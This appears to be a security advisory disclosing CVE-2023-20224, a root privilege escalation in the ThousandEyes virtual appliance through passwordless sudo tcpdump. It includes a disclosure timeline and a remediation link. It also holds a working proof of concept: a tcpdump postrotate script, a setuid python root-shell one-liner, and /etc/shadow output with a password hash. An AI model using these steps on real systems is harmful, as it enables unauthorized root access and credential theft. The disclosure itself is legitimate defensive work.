Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump

Vulnerability Details

Affected Vendor: ThousandEyes
Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
Affected Version: thousandeyes-va-64-18.04 0.218
Platform: Linux / Ubuntu 18.04
CWE Classification: CWE-1395: Dependency on Vulnerable
Third-Party Component
CVE ID: CVE-2023-20224

Vulnerability Description

An insecure sudo configuration permits a low-privilege user
to run arbitrary commands as root via the ‘tcpdump’ command
without a password.

Technical Description

The ThousandEyes Virtual Appliance is distributed with a
restrictive set of commands that can be executed via sudo,
without having to provide the password for the ‘thousandeyes’
account. However, the ability to execute tcpdump via sudo is
permitted without requiring the password. The post-rotate
functionality of tcpdump can be used to execute arbitrary
commands on the virtual appliance, allowing a privilege
escalation to root. This is a known privilege escalation
path, but had not been disclosed for the ThousandEyes Virtual
Appliance.

$ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa [email protected]
Welcome to ThousandEyes!
Last login: Tue Jan  3 20:16:37 2023 from 1.3.3.8
thousandeyes@thousandeyes-va:~$ id
uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
thousandeyes@thousandeyes-va:~$ sudo -l
Matching Defaults entries for thousandeyes on thousandeyes-va:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User thousandeyes may run the following commands on thousandeyes-va:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
        te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
        te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
        /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
        te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
    (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

Here we see that tcpdump is available as root with no password,
and no restrictions on the arguments it can be passed.

Prepare a malicious script, then have tcpdump execute it as a
postrotate command. Note, this needs to be more than simply
a setuid copy of bash as it will drop privs if UID!=EUID, but
python will not.

thousandeyes@thousandeyes-va:~$ cat /tmp/x4
COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

thousandeyes@thousandeyes-va:~$ cat /tmp/runme4
/python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'

thousandeyes@thousandeyes-va:~$ /tmp/x4 
dropped privs to root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

In another ssh session as the ‘thousandeyes’ user, execute
‘ping -c 1 127.0.0.1’ to trigger tcpdump rotation:

Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

Execute the setuid python which then launches a shell:

thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4 
# id
uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

# bash   	
root@thousandeyes-va:~# id
uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

root@thousandeyes-va:~# cat /etc/shadow
root:!:19145:0:99999:7:::
daemon:!*:18885:0:99999:7:::
bin:!*:18885:0:99999:7:::
sys:!*:18885:0:99999:7:::
sync:!*:18885:0:99999:7:::
games:!*:18885:0:99999:7:::
man:!*:18885:0:99999:7:::
lp:!*:18885:0:99999:7:::
mail:!*:18885:0:99999:7:::
news:!*:18885:0:99999:7:::
uucp:!*:18885:0:99999:7:::
proxy:!*:18885:0:99999:7:::
www-data:!*:18885:0:99999:7:::
backup:!*:18885:0:99999:7:::
list:!*:18885:0:99999:7:::
irc:!*:18885:0:99999:7:::
gnats:!*:18885:0:99999:7:::
nobody:*:18885:0:99999:7:::
systemd-network:!*:18885:0:99999:7:::
systemd-resolve:!*:18885:0:99999:7:::
syslog:!*:18885:0:99999:7:::
messagebus:!*:18885:0:99999:7:::
_apt:!*:18885:0:99999:7:::
thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30:::
rdnssd:!*:19146:7:99999:30:::
browserbot:!:19146::::::
cntlm:!*:19146:7:99999:30:::
sshd:!*:19146:7:99999:30:::
root@thousandeyes-va:~#

Mitigation and Remediation Recommendation

The vendor has released a version which remediates the described
vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3

Credit

This vulnerability was discovered by Jim Becher of
KoreLogic, Inc.

Disclosure Timeline

2023.04.26 - KoreLogic submits vulnerability details to Cisco.
2023.04.26 - Cisco acknowledges receipt and the intention to
investigate.
2023.05.04 - Cisco notifies KoreLogic that a remediation for this
vulnerability is expected to be available within
90 days.
2023.06.30 - 45 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2023.07.11 - Cisco informs KoreLogic that the issue has been
remediated in the latest ThousandEyes Virtual
Appliance and a public advisory will be released
2023.08.16.
2023.07.24 - 60 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2023.08.09 - Cisco provides KoreLogic with CVE-2023-20224 to
track this vulnerability.
2023.08.16 - Cisco public acknowledgement.
2023.08.17 - KoreLogic public disclosure.

Proof of Concept

See 3. Technical Description.